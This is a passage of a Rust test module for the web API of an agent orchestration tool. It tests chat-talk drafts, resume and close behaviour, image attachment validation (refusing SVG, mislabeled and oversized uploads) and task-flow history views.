16906        std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
16907        let f = Fixture::with_repo(repo).await;
16908        let id = f.post("/api/talks", None).await.json()["id"]
16909            .as_str()
16910            .expect("id")
16911            .to_owned();
16912        let store = f.talks();
16913        let mut recovered = store.get(&id).expect("opened talk");
16914        talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
16915            .expect("persist pending draft without a live turn");
16916
16917        let refused = f
16918            .post(
16919                &format!("/api/talks/{id}/say"),
16920                Some(r#"{"text":"new message"}"#),
16921            )
16922            .await;
16923        assert_eq!(refused.status, 409, "{}", refused.body);
16924        assert!(refused.body.contains("resume"), "{}", refused.body);
16925        let saved = store.get(&id).expect("draft remains after refusal");
16926        assert!(saved.turns.is_empty());
16927        assert_eq!(saved.pending, "saved before restart");
16928
16929        let say_path = format!("/api/talks/{id}/say");
16930        let (first, second) = tokio::join!(
16931            f.post(&say_path, Some(r#"{"text":"concurrent one"}"#)),
16932            f.post(&say_path, Some(r#"{"text":"concurrent two"}"#)),
16933        );
16934        assert_eq!(first.status, 409, "{}", first.body);
16935        assert_eq!(second.status, 409, "{}", second.body);
16936        let saved = store
16937            .get(&id)
16938            .expect("draft remains after concurrent refusals");
16939        assert!(saved.turns.is_empty());
16940        assert_eq!(saved.pending, "saved before restart");
16941
16942        let resumed = f
16943            .post(&format!("/api/talks/{id}/pending/resume"), None)
16944            .await;
16945        assert_eq!(resumed.status, 202, "{}", resumed.body);
16946        let duplicate = f
16947            .post(&format!("/api/talks/{id}/pending/resume"), None)
16948            .await;
16949        assert_eq!(duplicate.status, 409, "{}", duplicate.body);
16950
16951        for _ in 0..SETTLE_STEPS {
16952            if store.get(&id).expect("talk").turns.len() == 2 {
16953                break;
16954            }
16955            tokio::time::sleep(Duration::from_millis(10)).await;
16956        }
16957        let finished = store.get(&id).expect("finished talk");
16958        assert_eq!(finished.turns.len(), 2, "{finished:?}");
16959        assert_eq!(finished.turns[0].body, "saved before restart");
16960        assert!(finished.pending.is_empty());
16961    }
16962
16963    #[tokio::test]
16964    async fn an_image_only_recovered_draft_resumes_without_text() {
16965        let (_tmp, _repo, f) = talk_fixture().await;
16966        let id = f.post("/api/talks", None).await.json()["id"]
16967            .as_str()
16968            .expect("id")
16969            .to_owned();
16970        let uploaded = f
16971            .post_bytes(
16972                &format!("/api/talks/{id}/attachments"),
16973                &[("Content-Type", "image/png"), ("X-Filename", "saved.png")],
16974                PNG_BYTES,
16975            )
16976            .await;
16977        assert_eq!(uploaded.status, 201, "{}", uploaded.body);
16978        let attachment = f
16979            .talks()
16980            .attachment_meta(&id, uploaded.json()["id"].as_str().expect("attachment id"))
16981            .expect("attachment metadata")
16982            .expect("stored attachment");
16983        let store = f.talks();
16984        let mut recovered = store.get(&id).expect("opened talk");
16985        talk::queue(&mut recovered, &store, "", vec![attachment]).expect("queue image only");
16986
16987        let resumed = f
16988            .post(&format!("/api/talks/{id}/pending/resume"), None)
16989            .await;
16990        assert_eq!(resumed.status, 202, "{}", resumed.body);
16991        for _ in 0..SETTLE_STEPS {
16992            if store.get(&id).expect("talk").turns.len() == 2 {
16993                break;
16994            }
16995            tokio::time::sleep(Duration::from_millis(10)).await;
16996        }
16997        let finished = store.get(&id).expect("finished talk");
16998        assert_eq!(finished.turns.len(), 2, "{finished:?}");
16999        assert!(finished.turns[0].body.is_empty());
17000        assert_eq!(finished.turns[0].attachments.len(), 1);
17001        assert!(finished.pending_attachments.is_empty());
17002    }
17003
17004    #[tokio::test]
17005    async fn closed_talk_refuses_pending_mutations_without_changing_the_record() {
17006        let (_tmp, _repo, f) = talk_fixture().await;
17007        let id = f.post("/api/talks", None).await.json()["id"]
17008            .as_str()
17009            .expect("id")
17010            .to_owned();
17011        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
17012        assert_eq!(closed.status, 200, "{}", closed.body);
17013        let before_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
17014            .expect("serialize closed talk");
17015        for (path, body) in [
17016            (format!("/api/talks/{id}/pending/resume"), None),
17017            (
17018                format!("/api/talks/{id}/pending/clear"),
17019                Some(r#"{"expected_text":"","expected_attachments":[]}"#),
17020            ),
17021            (
17022                format!("/api/talks/{id}/pending/edit"),
17023                Some(r#"{"text":"x","expected_text":"","expected_attachments":[]}"#),
17024            ),
17025            (format!("/api/talks/{id}/say"), Some(r#"{"text":"x"}"#)),
17026        ] {
17027            let response = f.post(&path, body).await;
17028            assert_eq!(response.status, 409, "{}", response.body);
17029        }
17030        let after_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
17031            .expect("serialize closed talk");
17032        assert_eq!(
17033            after_clear, before_clear,
17034            "clear must not rewrite a closed talk"
17035        );
17036    }
17037
17038    /// Keeps both claims observable long enough to exercise the distinction
17039    /// between one busy talk and a globally locked Chat surface.
17040    const SLOW_MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && sleep 3 && printf ok\"]\n";
17041
17042    #[tokio::test]
17043    async fn talks_report_independent_thinking_claims_and_queue_a_second_message() {
17044        let tmp = TempDir::new().expect("tempdir");
17045        let repo = tmp.path().join("repo");
17046        std::fs::create_dir_all(&repo).expect("repo dir");
17047        std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
17048        let f = Fixture::with_repo(repo).await;
17049        let id_a = f.post("/api/talks", None).await.json()["id"]
17050            .as_str()
17051            .unwrap()
17052            .to_owned();
17053        let id_b = f.post("/api/talks", None).await.json()["id"]
17054            .as_str()
17055            .unwrap()
17056            .to_owned();
17057
17058        let a = f
17059            .post(&format!("/api/talks/{id_a}/say"), Some(r#"{"text":"a"}"#))
17060            .await;
17061        assert_eq!(a.status, 202, "{}", a.body);
17062        assert_eq!(a.json()["thinking"], true);
17063        let b = f
17064            .post(&format!("/api/talks/{id_b}/say"), Some(r#"{"text":"b"}"#))
17065            .await;
17066        assert_eq!(b.status, 202, "{}", b.body);
17067        assert_eq!(b.json()["thinking"], true);
17068
17069        let listed = f.get("/api/talks").await.json();
17070        for id in [&id_a, &id_b] {
17071            let view = listed
17072                .as_array()
17073                .unwrap()
17074                .iter()
17075                .find(|talk| talk["id"] == *id)
17076                .unwrap();
17077            assert_eq!(view["thinking"], true, "{listed}");
17078        }
17079        let repeated = f
17080            .post(
17081                &format!("/api/talks/{id_a}/say"),
17082                Some(r#"{"text":"again"}"#),
17083            )
17084            .await;
17085        assert_eq!(repeated.status, 202, "{}", repeated.body);
17086        assert_eq!(repeated.json()["pending"], "again");
17087    }
17088
17089    /// Bytes `sniffed_mime` recognises as `image/png` - the signature plus a
17090    /// few more, since real uploads are never exactly eight bytes.
17091    const PNG_BYTES: &[u8] = b"\x89PNG\r\n\x1a\n\x00\x00\x00\x0dIHDR\x00\x00\x00\x01";
17092
17093    #[tokio::test]
17094    async fn a_png_attachment_upload_is_201_and_get_returns_it_with_nosniff() {
17095        let f = Fixture::start().await;
17096        let id = seed_talk(&f, "20260905-000000-a1b2", "open");
17097
17098        let res = f
17099            .post_bytes(
17100                &format!("/api/talks/{id}/attachments"),
17101                &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
17102                PNG_BYTES,
17103            )
17104            .await;
17105        assert_eq!(res.status, 201, "{}", res.body);
17106        let body = res.json();
17107        assert_eq!(body["name"], "shot.png");
17108        assert_eq!(body["mime"], "image/png");
17109        assert_eq!(body["bytes"], PNG_BYTES.len());
17110        let att_id = body["id"].as_str().expect("id").to_owned();
17111        assert_eq!(
17112            att_id.len(),
17113            32,
17114            "the id must never be a client-suppliable path: {att_id}"
17115        );
17116
17117        let got = f
17118            .get(&format!("/api/talks/{id}/attachments/{att_id}"))
17119            .await;
17120        assert_eq!(got.status, 200, "{}", got.body);
17121        assert_eq!(got.header("content-type"), Some("image/png"));
17122        assert_eq!(got.header("x-content-type-options"), Some("nosniff"));
17123        assert_eq!(got.bytes, PNG_BYTES);
17124    }
17125
17126    #[tokio::test]
17127    async fn an_svg_a_text_file_and_an_oversized_upload_are_all_4xx() {
17128        let f = Fixture::start().await;
17129        let id = seed_talk(&f, "20260905-000000-c3d4", "open");
17130
17131        // SVG can carry a `<script>`, so it is never on the whitelist even
17132        // though it is a real IANA image type.
17133        let svg = f
17134            .post_bytes(
17135                &format!("/api/talks/{id}/attachments"),
17136                &[("Content-Type", "image/svg+xml")],
17137                b"<svg xmlns=\"http://www.w3.org/2000/svg\"></svg>",
17138            )
17139            .await;
17140        assert!(
17141            (400..500).contains(&svg.status),
17142            "svg must be refused: {} {}",
17143            svg.status,
17144            svg.body
17145        );
17146        assert!(svg.body.contains("SVG"), "{}", svg.body);
17147
17148        let text = f
17149            .post_bytes(
17150                &format!("/api/talks/{id}/attachments"),
17151                &[("Content-Type", "text/plain")],
17152                b"just some text",
17153            )
17154            .await;
17155        assert!(
17156            (400..500).contains(&text.status),
17157            "an unlisted type must be refused: {} {}",
17158            text.status,
17159            text.body
17160        );
17161
17162        // The declared type is a real png, but the size check runs before
17163        // the bytes are even looked at.
17164        let oversized = vec![0u8; ATTACHMENT_MAX_BYTES + 1];
17165        let big = f
17166            .post_bytes(
17167                &format!("/api/talks/{id}/attachments"),
17168                &[("Content-Type", "image/png")],
17169                &oversized,
17170            )
17171            .await;
17172        assert_eq!(
17173            big.status,
17174            StatusCode::PAYLOAD_TOO_LARGE.as_u16(),
17175            "{}",
17176            big.body
17177        );
17178    }
17179
17180    #[tokio::test]
17181    async fn a_mislabeled_upload_is_refused_even_though_the_declared_type_is_on_the_whitelist() {
17182        let f = Fixture::start().await;
17183        let id = seed_talk(&f, "20260905-000000-d4e5", "open");
17184
17185        // A whitelisted `Content-Type`, but bytes that are not actually a
17186        // png - the declared header alone is never trusted.
17187        let res = f
17188            .post_bytes(
17189                &format!("/api/talks/{id}/attachments"),
17190                &[("Content-Type", "image/png")],
17191                b"<html>not a picture</html>",
17192            )
17193            .await;
17194        assert!((400..500).contains(&res.status), "{}", res.body);
17195    }
17196
17197    #[tokio::test]
17198    async fn an_unknown_attachment_id_is_a_404() {
17199        let f = Fixture::start().await;
17200        let id = seed_talk(&f, "20260905-000000-e5f6", "open");
17201
17202        let res = f
17203            .get(&format!("/api/talks/{id}/attachments/{}", "0".repeat(32)))
17204            .await;
17205        assert_eq!(res.status, 404, "{}", res.body);
17206    }
17207
17208    #[tokio::test]
17209    async fn talk_say_with_only_an_attachment_and_no_body_is_accepted_and_persists() {
17210        let f = Fixture::start().await;
17211        let id = seed_talk(&f, "20260905-000000-f6a7", "open");
17212
17213        let uploaded = f
17214            .post_bytes(
17215                &format!("/api/talks/{id}/attachments"),
17216                &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
17217                PNG_BYTES,
17218            )
17219            .await;
17220        assert_eq!(uploaded.status, 201, "{}", uploaded.body);
17221        let att_id = uploaded.json()["id"].as_str().expect("id").to_owned();
17222
17223        let res = f
17224            .post(
17225                &format!("/api/talks/{id}/say"),
17226                Some(&format!(r#"{{"text":"","attachments":["{att_id}"]}}"#)),
17227            )
17228            .await;
17229        assert_eq!(res.status, 202, "{}", res.body);
17230        let queued = res.json();
17231        let turns = queued["turns"].as_array().expect("turns array");
17232        assert_eq!(
17233            turns.len(),
17234            1,
17235            "an empty body with an attachment is still a turn: {queued}"
17236        );
17237        assert_eq!(turns[0]["who"], "operator");
17238        assert_eq!(turns[0]["body"], "");
17239        let atts = turns[0]["attachments"]
17240            .as_array()
17241            .expect("attachments array");
17242        assert_eq!(atts.len(), 1);
17243        assert_eq!(atts[0]["id"], att_id);
17244        assert_eq!(atts[0]["mime"], "image/png");
17245
17246        // Not only in the response: `record` flushes to disk before the
17247        // agent's own turn is even spawned.
17248        let on_disk = f.talks().get(&id).expect("get");
17249        assert_eq!(on_disk.turns[0].attachments.len(), 1);
17250        assert_eq!(on_disk.turns[0].attachments[0].id, att_id);
17251    }
17252
17253    #[tokio::test]
17254    async fn saying_with_an_unknown_attachment_id_is_a_4xx_and_records_nothing() {
17255        let f = Fixture::start().await;
17256        let id = seed_talk(&f, "20260905-000000-a7b8", "open");
17257
17258        let res = f
17259            .post(
17260                &format!("/api/talks/{id}/say"),
17261                Some(&format!(
17262                    r#"{{"text":"hi","attachments":["{}"]}}"#,
17263                    "a".repeat(32)
17264                )),
17265            )
17266            .await;
17267        assert!((400..500).contains(&res.status), "{}", res.body);
17268        assert!(res.body.contains("unknown attachment"), "{}", res.body);
17269
17270        let on_disk = f.talks().get(&id).expect("get");
17271        assert!(
17272            on_disk.turns.is_empty(),
17273            "a rejected attachment id must not partially record the turn: {:?}",
17274            on_disk.turns
17275        );
17276    }
17277
17278    #[tokio::test]
17279    async fn talk_close_makes_the_talk_refuse_further_turns() {
17280        let f = Fixture::start().await;
17281        let id = seed_talk(&f, "20260904-014455-cd34", "open");
17282
17283        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
17284        assert_eq!(closed.status, 200, "{}", closed.body);
17285        assert_eq!(closed.json()["status"], "closed");
17286
17287        // Idempotent: closing an already-closed talk is not an error.
17288        let closed_again = f.post(&format!("/api/talks/{id}/close"), None).await;
17289        assert_eq!(closed_again.status, 200);
17290        assert_eq!(closed_again.json()["status"], "closed");
17291
17292        let said = f
17293            .post(
17294                &format!("/api/talks/{id}/say"),
17295                Some(r#"{"text":"too late"}"#),
17296            )
17297            .await;
17298        assert_eq!(said.status, 409, "{}", said.body);
17299    }
17300
17301    #[tokio::test]
17302    async fn talk_close_refuses_pending_input_with_conflict_and_preserves_it() {
17303        let f = Fixture::start().await;
17304        let id = seed_talk(&f, "20260904-014455-cd34", "open");
17305        let store = f.talks();
17306        let mut queued = store.get(&id).expect("talk");
17307        for automatic in [false, true] {
17308            if automatic {
17309                talk::queue_once(&mut queued, &store, "automatic notice", "notice-key")
17310                    .expect("queue automatic input");
17311            } else {
17312                talk::queue(&mut queued, &store, "queued send", Vec::new())
17313                    .expect("queue operator input");
17314            }
17315            let before = serde_json::to_value(store.get(&id).expect("queued talk")).unwrap();
17316            let refused = f.post(&format!("/api/talks/{id}/close"), None).await;
17317            assert_eq!(refused.status, 409, "{}", refused.body);
17318            assert!(refused.body.contains("pending input"), "{}", refused.body);
17319            assert_eq!(
17320                serde_json::to_value(store.get(&id).expect("preserved talk")).unwrap(),
17321                before,
17322                "a close refusal must preserve the entire record"
17323            );
17324            talk::clear_pending(&mut queued, &store).expect("clear saved input");
17325        }
17326        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
17327        assert_eq!(closed.status, 200, "{}", closed.body);
17328        assert_eq!(closed.json()["status"], "closed");
17329    }
17330
17331    #[tokio::test]
17332    async fn talk_reopen_lets_a_closed_talk_take_turns_again_and_is_idempotent() {
17333        let (_tmp, _repo, f) = talk_fixture().await;
17334        let id = f.post("/api/talks", None).await.json()["id"]
17335            .as_str()
17336            .expect("id")
17337            .to_owned();
17338        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
17339        assert_eq!(closed.status, 200, "{}", closed.body);
17340
17341        let reopened = f.post(&format!("/api/talks/{id}/reopen"), None).await;
17342        assert_eq!(reopened.status, 200, "{}", reopened.body);
17343        assert_eq!(reopened.json()["status"], "open");
17344
17345        // Idempotent: reopening an already-open talk is not an error.
17346        let reopened_again = f.post(&format!("/api/talks/{id}/reopen"), None).await;
17347        assert_eq!(reopened_again.status, 200);
17348        assert_eq!(reopened_again.json()["status"], "open");
17349
17350        let said = f
17351            .post(
17352                &format!("/api/talks/{id}/say"),
17353                Some(r#"{"text":"still there?"}"#),
17354            )
17355            .await;
17356        assert_eq!(
17357            said.status, 202,
17358            "a reopened talk accepts turns again: {}",
17359            said.body
17360        );
17361    }
17362
17363    #[tokio::test]
17364    async fn talk_reopen_on_an_unknown_id_is_404() {
17365        let f = Fixture::start().await;
17366        let res = f.post("/api/talks/nonexistent-id/reopen", None).await;
17367        assert_eq!(res.status, 404, "{}", res.body);
17368    }
17369
17370    #[tokio::test]
17371    async fn talk_delete_removes_the_talk_from_disk_and_the_list() {
17372        let f = Fixture::start().await;
17373        let id = seed_talk(&f, "20260904-014455-ef56", "closed");
17374
17375        let deleted = f.delete(&format!("/api/talks/{id}")).await;
17376        assert_eq!(deleted.status, 204, "{}", deleted.body);
17377
17378        let after = f.get(&format!("/api/talks/{id}")).await;
17379        assert_eq!(after.status, 404, "{}", after.body);
17380
17381        let listed = f.get("/api/talks").await.json();
17382        assert!(
17383            listed.as_array().unwrap().iter().all(|t| t["id"] != id),
17384            "a deleted talk must not linger in the list: {listed}"
17385        );
17386    }
17387
17388    #[tokio::test]
17389    async fn talk_delete_on_an_unknown_id_is_404() {
17390        let f = Fixture::start().await;
17391        let res = f.delete("/api/talks/nonexistent-id").await;
17392        assert_eq!(res.status, 404, "{}", res.body);
17393    }
17394
17395    /// A task's page lists every run it ever had, in order, and says what kind
17396    /// of attempt each was - including a resume, which re-pushes the same run
17397    /// id, and a run whose record this build cannot read.
17398    #[tokio::test]
17399    async fn task_detail_lists_every_run_with_what_kind_of_attempt_it_was() {
17400        let f = Fixture::start().await;
17401        let (a, b, gone) = (
17402            "20260902-140501-aaaa",
17403            "20260902-140502-bbbb",
17404            "20260902-140503-cccc",
17405        );
17406        write_run(&f.runs(), a, RunStatus::Stalled);
17407        let mut review = RunState::new(
17408            PathBuf::from("/repo/magi"),
17409            "main".to_owned(),
17410            "0123456789abcdef".to_owned(),
17411            "Review the work already on branch `magi/aaaa/A`. There is no task statement."
17412                .to_owned(),
17413            Config::default(),
17414        );
17415        review.id = b.to_owned();
17416        review.status = RunStatus::Merged;
17417        write_state(&f.runs(), &review);
17418
17419        let mut task = Task::new(
17420            "retry".to_owned(),
17421            "Do the thing".to_owned(),
17422            PathBuf::from("/repo/magi"),
17423            Source::Human,
17424        );
17425        task.start(a.to_owned());
17426        task.stall("quota");
17427        task.start(a.to_owned());
17428        task.start(b.to_owned());
17429        task.start(gone.to_owned());
17430        // This fixture models an older queue file with repeated run entries.
17431        task.runs = [a, a, b, gone].map(str::to_owned).to_vec();
17432        f.queue().put(&mut task).expect("file the task");
17433
17434        let res = f.get(&format!("/api/queue/{}", task.id)).await;
17435        assert_eq!(res.status, 200, "{}", res.body);
17436        let v = res.json();
17437        let h = v["history"].as_array().expect("history");
17438        assert_eq!(h.len(), 4, "{v}");
17439        assert_eq!(h[0]["kind"], "competition");
17440        assert_eq!(h[0]["status"], "stalled");
17441        assert_eq!(h[0]["provisional"], true, "a stall is never a decision");
17442        assert_eq!(h[1]["kind"], "resume", "{v}");
17443        assert!(
17444            h[0]["outcome"]
17445                .as_str()
17446                .unwrap()
17447                .contains("unknown. Pass #2"),
17448            "an earlier pass of a resumed run must not claim the final outcome: {v}"
17449        );
17450        assert!(
17451            !h[1]["outcome"].as_str().unwrap().contains("unknown."),
17452            "{v}"
17453        );
17454        assert!(
17455            !h[0]["outcome"].as_str().unwrap().contains("parked it"),
17456            "an unrecorded cause must not be narrated as an operator park: {v}"
17457        );
17458        assert_eq!(h[2]["kind"], "review");
17459        assert!(
17460            h[2]["description"]
17461                .as_str()
17462                .unwrap()
17463                .contains("magi/aaaa/A")
17464        );
17465        assert_eq!(h[2]["status"], "merged");
17466        assert_eq!(h[3]["readable"], false, "an unreadable run is shown");
17467        assert_eq!(v["runs_unreadable"], 1);
17468        let nodes = v["flow"]["nodes"].as_array().expect("flow nodes");
17469        assert_eq!(nodes.len(), 6, "start + four passes + end: {v}");
17470        assert_eq!(nodes[4]["note"], "unreadable");
17471        assert_eq!(v["flow"]["edges"].as_array().unwrap().len(), 5);
17472        assert_eq!(v["instruction"], "Do the thing");
17473        assert!(v["attempts_note"].as_str().unwrap().contains("handed back"));
17474
17475        // The run's own page links back to the task.
17476        let run = f.get(&format!("/api/runs/{a}")).await.json();
17477        assert_eq!(run["task"]["id"], task.id.as_str(), "{run}");
17478
17479        assert_eq!(f.get("/api/queue/nosuchtask").await.status, 404);
17480    }
17481
17482    fn flow_run(status: RunStatus, edit: impl FnOnce(&mut RunState)) -> RunState {
17483        let mut s = RunState::new(
17484            PathBuf::from("/repo/magi"),
17485            "main".to_owned(),
17486            "0123456789abcdef".to_owned(),
17487            "Do it".to_owned(),
17488            Config::default(),
17489        );
17490        s.status = status;
17491        edit(&mut s);
17492        s
17493    }
17494
17495    fn flow_task(runs: &[&str]) -> Task {
17496        let mut t = Task::new(
17497            "t".to_owned(),
17498            "Do it".to_owned(),
17499            PathBuf::from("/repo/magi"),
17500            Source::Human,
17501        );
17502        for r in runs {
17503            t.start((*r).to_owned());
17504        }
17505        // Synthetic flows without RunPass records model legacy queue data.
17506        t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
17507        t
17508    }
17509
17510    fn flow_for(task: &Task, states: &[(&str, Option<RunState>)]) -> FlowView {
17511        let h = task_history(task, |id| {
17512            states
17513                .iter()
17514                .find(|(i, _)| *i == id)
17515                .and_then(|(_, s)| s.clone())
17516        });
17517        task_flow(task, &h, 5, None)
17518    }
17519
17520    #[test]
17521    fn flow_start_times_use_each_pass_not_run_updates_or_settlements() {
17522        let queued = "2026-10-10T00:00:00Z".parse().unwrap();
17523        let created = "2026-10-10T01:00:00Z".parse().unwrap();
17524        let first = "2026-10-10T02:00:00Z".parse().unwrap();
17525        let resumed = "2026-10-10T03:00:00Z".parse().unwrap();
17526        let held = "2026-10-10T04:00:00Z".parse().unwrap();
17527        let run = flow_run(RunStatus::Implementing, |s| {
17528            s.created_at = created;
17529            s.passes = vec![recorded_pass(0, None), recorded_pass(1, None)];
17530            s.passes[0].started_at = first;
17531            s.passes[1].started_at = resumed;
17532        });
17533        let mut task = flow_task(&[RUN_X, RUN_X]);
17534        task.created_at = queued;
17535        task.passes = vec![settled_pass(RUN_X, 0, crate::queue::PassCost::Refunded)];
17536        task.status = TaskStatus::Held;
17537        task.held_at = Some(held);
17538        let flow = flow_for(&task, &[(RUN_X, Some(run))]);
17539        assert_eq!(
17540            flow.nodes.iter().map(|n| n.started_at).collect::<Vec<_>>(),
17541            vec![Some(queued), Some(first), Some(resumed), Some(held)]
17542        );
17543        assert!(flow.nodes.iter().all(|n| n.time_expected));
17544        let json = serde_json::to_value(&flow).unwrap();
17545        assert_eq!(json["nodes"][2]["started_at"], resumed.to_string());
17546        assert_eq!(json["nodes"][2]["time_expected"], true);
17547    }
17548
17549    #[test]
17550    fn flow_start_times_leave_legacy_resumes_unreadable_and_status_starts_unknown() {
17551        let created = "2026-10-10T01:00:00Z".parse().unwrap();
17552        let run = flow_run(RunStatus::Implementing, |s| s.created_at = created);
17553        let mut task = flow_task(&[RUN_X, RUN_X, "missing"]);
17554        // These timestamps are not the start of the current status.
17555        task.held_at = Some(created);
17556        task.blocked_at = Some(created);
17557        for status in [
17558            TaskStatus::Queued,
17559            TaskStatus::Running,
17560            TaskStatus::Blocked,
17561            TaskStatus::Done,
17562            TaskStatus::Failed,
17563            TaskStatus::Parked,
17564            TaskStatus::Held,
17565        ] {
17566            task.status = status;
17567            if status == TaskStatus::Held {
17568                task.held_at = None;
17569            }
17570            let flow = flow_for(&task, &[(RUN_X, Some(run.clone()))]);
17571            assert_eq!(flow.nodes[1].started_at, Some(created));
17572            assert_eq!(flow.nodes[2].started_at, None, "legacy resume");
17573            assert_eq!(flow.nodes[3].started_at, None, "unreadable run");
17574            assert_eq!(flow.nodes[4].started_at, None, "{status:?}");
17575            let json = serde_json::to_value(&flow).unwrap();
17576            assert!(json["nodes"][3]["started_at"].is_null());
17577            assert_eq!(json["nodes"][3]["time_expected"], true);
17578        }
17579    }
17580
17581    #[test]
17582    fn flow_context_links_do_not_expect_start_times() {
17583        let mut task = flow_task(&[]);
17584        task.source = Source::Agent {
17585            run: "chat-id".to_owned(),
17586            node: "chat".to_owned(),
17587        };
17588        let origin = followup_origin(&fu(None), |_| None, |_| None);
17589        let flow = task_flow(&task, &[], 5, Some(&origin));
17590        for node in &flow.nodes[..2] {
17591            assert!(!node.time_expected);
17592            assert_eq!(node.started_at, None);
17593        }
17594        assert!(flow.nodes[2].time_expected);
17595    }
17596
17597    fn fu(origin_task: Option<&str>) -> crate::queue::FollowUp {
17598        crate::queue::FollowUp {
17599            run: "20260901-000000-aaaa".to_owned(),
17600            origin_task: origin_task.map(str::to_owned),
17601            pr: "https://example.com/o/r/pull/1".to_owned(),
17602            findings: ["R3-1-1", "R3-1-2", "R3-1-3", "R3-1-4"]
17603                .map(str::to_owned)
17604                .to_vec(),
17605            generation: 1,
17606        }
17607    }
17608
17609    fn parent_task() -> Task {
17610        let mut p = flow_task(&[]);
17611        p.title = "Parent title".to_owned();
17612        p.status = TaskStatus::Done;
17613        p
17614    }
17615
17616    #[test]
17617    fn flow_opens_with_the_parent_task_of_a_followup() {
17618        let p = parent_task();
17619        let pid = p.id.clone();
17620        let o = followup_origin(&fu(Some(&pid)), |i| (i == pid).then(|| p.clone()), |_| None);
17621        let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
17622        let n = &f.nodes[0];
17623        assert_eq!((n.kind, n.key.as_str()), ("followup", "origin"));
17624        assert_eq!(
17625            n.label,
17626            format!("Follow-up of {}", crate::queue::short(&pid))
17627        );
17628        assert_eq!(n.detail.as_deref(), Some("Parent title"));
17629        assert_eq!(n.status, Some("done"));
17630        assert_eq!(n.status_of, "task");
17631        assert_eq!(n.href.as_deref(), Some(format!("#/tasks/{pid}").as_str()));
17632        assert_eq!(f.nodes[1].key, "start");
17633        assert_eq!(f.edges[0].from, "origin");
17634        assert_eq!(
17635            f.edges[0].label,
17636            "open findings R3-1-1, R3-1-2, R3-1-3 +1 more"
17637        );
17638    }
17639
17640    #[test]
17641    fn flow_falls_back_to_the_merged_run_when_the_parent_is_gone() {
17642        let o = followup_origin(
17643            &fu(Some("gone")),
17644            |_| None,
17645            |_| {
17646                Some(RunState::new(
17647                    std::path::PathBuf::from("."),
17648                    "main".to_owned(),
17649                    "0".to_owned(),
17650                    "t".to_owned(),
17651                    crate::config::Config::default(),
17652                ))
17653            },
17654        );
17655        assert!(o.parent.is_none());
17656        let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
17657        let n = &f.nodes[0];
17658        assert_eq!(n.status_of, "run");
17659        assert_eq!(n.href.as_deref(), Some("#/runs/20260901-000000-aaaa"));
17660        assert!(n.label.starts_with("Follow-up of run "), "{}", n.label);
17661    }
17662
17663    #[test]
17664    fn flow_followup_with_nothing_readable_has_no_link() {
17665        let o = followup_origin(&fu(None), |_| panic!("no parent id to look up"), |_| None);
17666        let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
17667        let n = &f.nodes[0];
17668        assert_eq!(n.href, None);
17669        assert_eq!(n.note, Some("unreadable"));
17670        assert!(!n.readable);
17671    }
17672
17673    #[test]
17674    fn flow_keeps_the_chat_first_only_when_the_source_is_a_chat() {
17675        let o = followup_origin(&fu(None), |_| None, |_| None);
17676        let mut t = flow_task(&[]);
17677        t.origin_chat = Some("c1".to_owned());
17678        let f = task_flow(&t, &[], 5, Some(&o));
17679        assert_eq!(f.nodes[0].kind, "followup", "inherited chat adds no node");
17680        t.source = Source::Agent {
17681            run: "c1".to_owned(),
17682            node: crate::queue::CHAT_NODE.to_owned(),
17683        };
17684        let f = task_flow(&t, &[], 5, Some(&o));
17685        assert_eq!((f.nodes[0].kind, f.nodes[1].kind), ("chat", "followup"));
17686        assert_eq!(
17687            (f.edges[0].from.as_str(), f.edges[0].to.as_str()),
17688            ("chat", "origin")
17689        );
17690    }
17691
17692    #[test]
17693    fn followup_origin_encodes_ids_and_survives_a_self_reference() {
17694        let mut p = parent_task();
17695        p.id = "a b/c".to_owned();
17696        let o = followup_origin(&fu(Some("a b/c")), |_| Some(p.clone()), |_| None);
17697        assert_eq!(o.parent.expect("parent").href, "#/tasks/a%20b%2Fc");
17698    }
17699
17700    #[test]
17701    fn flow_opens_with_the_chat_that_queued_the_task() {
17702        let mut t = flow_task(&[]);
17703        t.source = Source::Agent {
17704            run: "a b/c".to_owned(),
17705            node: crate::queue::CHAT_NODE.to_owned(),
17706        };
17707        let f = flow_for(&t, &[]);
17708        assert_eq!(f.nodes[0].key, "chat");
17709        assert_eq!(f.nodes[0].kind, "chat");
17710        assert_eq!(
17711            f.nodes[0].label,
17712            format!("Chat {}", crate::queue::short("a b/c"))
17713        );
17714        assert_eq!(f.nodes[0].href.as_deref(), Some("#/chat/a%20b%2Fc"));
17715        assert_eq!(f.nodes[1].key, "start");
17716        assert_eq!(
17717            f.edges[0],
17718            FlowEdge {
17719                from: "chat".to_owned(),
17720                to: "start".to_owned(),
17721                label: "queued from chat".to_owned(),
17722                attempt: AttemptCost::None,
17723            }
17724        );
17725    }
17726
17727    #[test]
17728    fn flow_has_no_chat_box_for_other_sources() {
17729        for source in [
17730            Source::Human,
17731            Source::Issue {
17732                number: 3,
17733                repo: "o/r".to_owned(),
17734            },
17735            Source::Agent {
17736                run: "20260904-014455-ab12".to_owned(),
17737                node: "implement".to_owned(),
17738            },
17739        ] {
17740            let mut t = flow_task(&[]);
17741            t.source = source;
17742            let f = flow_for(&t, &[]);
17743            assert_eq!(f.nodes[0].key, "start");
17744            assert!(f.nodes.iter().all(|n| n.kind != "chat"));
17745            assert!(f.edges.iter().all(|e| e.from != "chat"));
17746        }
17747    }
17748
17749    const FA: &str = "20260902-140501-aaaa";
17750    const FB: &str = "20260902-140502-bbbb";
17751
17752    #[test]
17753    fn flow_follows_blocked_retry_merged_to_done() {
17754        let mut t = flow_task(&[FA, FB]);
17755        t.status = TaskStatus::Done;
17756        let f = flow_for(
17757            &t,
17758            &[
17759                (FA, Some(flow_run(RunStatus::Blocked, |_| {}))),
